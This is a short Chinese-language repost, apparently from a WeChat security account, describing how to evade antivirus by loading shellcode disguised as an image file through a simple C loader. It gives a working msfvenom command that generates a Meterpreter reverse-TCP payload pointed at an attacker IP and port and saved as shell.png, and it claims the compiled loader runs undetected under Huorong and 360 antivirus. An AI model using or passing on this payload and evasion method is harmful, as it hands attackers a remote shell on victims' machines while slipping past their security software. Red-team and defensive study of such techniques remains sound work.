【相关分享】利用c加载图片shellcode免杀

上面的加载器用了很简单的实现，没有做任何加密解密的处理，下面的shellcode也不打算做任何加密解密的处理。

2、利用msf生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.174.128 lport=4444 -f raw -o shell.png

这里就是简单生成一个图片shellcode，不涉及加解密。

3、把加载器编译成exe文件

​

​

这里先选好32位的release，然后

​

直接生成解决方案。

​

得到exe文件

4、运行程序测试效果

火绒静态查杀直接bypass

​

​

下面直接尝试在开启火绒的条件下运行，首先msf开启监听：

直接运行：

火绒毫无反应

​

​

尝试弹个计算器：

360同理：

​

​

​

原文始发于微信公众号（隼目安全）：【相关分享】利用c加载图片shellcode免杀